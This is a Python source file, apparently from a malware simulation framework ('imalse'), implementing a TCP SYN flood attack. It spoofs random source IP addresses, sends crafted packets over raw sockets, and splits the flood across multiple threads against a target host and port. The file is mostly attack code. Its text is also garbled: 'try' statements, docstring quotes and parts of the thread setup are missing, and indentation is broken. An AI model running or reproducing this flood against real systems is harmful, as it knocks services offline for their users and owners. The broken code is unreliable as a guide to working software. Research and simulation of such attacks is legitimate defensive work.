imalse / scenario / ddos_flooding / attacks /

Full commit
import socket
import sys
import time

from random import randrange
from threading import Thread

NOT_VALID = [10, 127, 169, 172, 192]

def generate_random_ip():
    """Generate a random ip address"""
    first = randrange(1, 256)
    while first in NOT_VALID:
        first = randrange(1, 256)

    return ".".join([str(first), str(randrange(1, 256)), \
                      str(randrange(1, 256)), str(randrange(1, 256))])  

def create_real_socket():
        sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
    except socket.error as err:
        print 'Socket could not be created. Error: ' + err
        # tell kernel not to put in headers, since we are providing it
        sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
    return sock
def auto_send_packets(port, dest_ip, num_packets, node):
    This function is run in a separate thread. It sends tcp syn packets to a
    specific host.
    if node.NODE_TYPE != 'sim_ns3':
        sock = create_real_socket()
        for _ in range(num_packets):
            source_ip = generate_random_ip()
            packet = node.construct_packet(source_ip, dest_ip)
            node.sendto(sock, packet, dest_ip , port)
    sock = node.create_sock({'type':'client', 'proto': 'tcp'})
    node.connect(sock, ((str(dest_ip), int(port))))
    for _ in range(1):
        source_ip = generate_random_ip()
        #packet = node.construct_packet(sock, source_ip, dest_ip, socket.IPPROTO_TCP)
        #node.send_packet(sock, packet)
    print("\nDone %i requests on %s" % (num_packets, dest_ip))    
def start_syn_flood(hostname, port, num_packets, num_threads, node):
    """Start the tcp syn flood."""
    dest_ip = socket.gethostbyname(hostname)
    num_packets_per_thread = int(num_packets/num_threads)
        for _ in range(num_threads):
            flood_thread = Thread( 
                              args=(port, dest_ip, num_packets_per_thread, node) 
    except (KeyboardInterrupt, SystemExit):
        print "\n! Receive Keyboard interrupt, quitting threads. \n"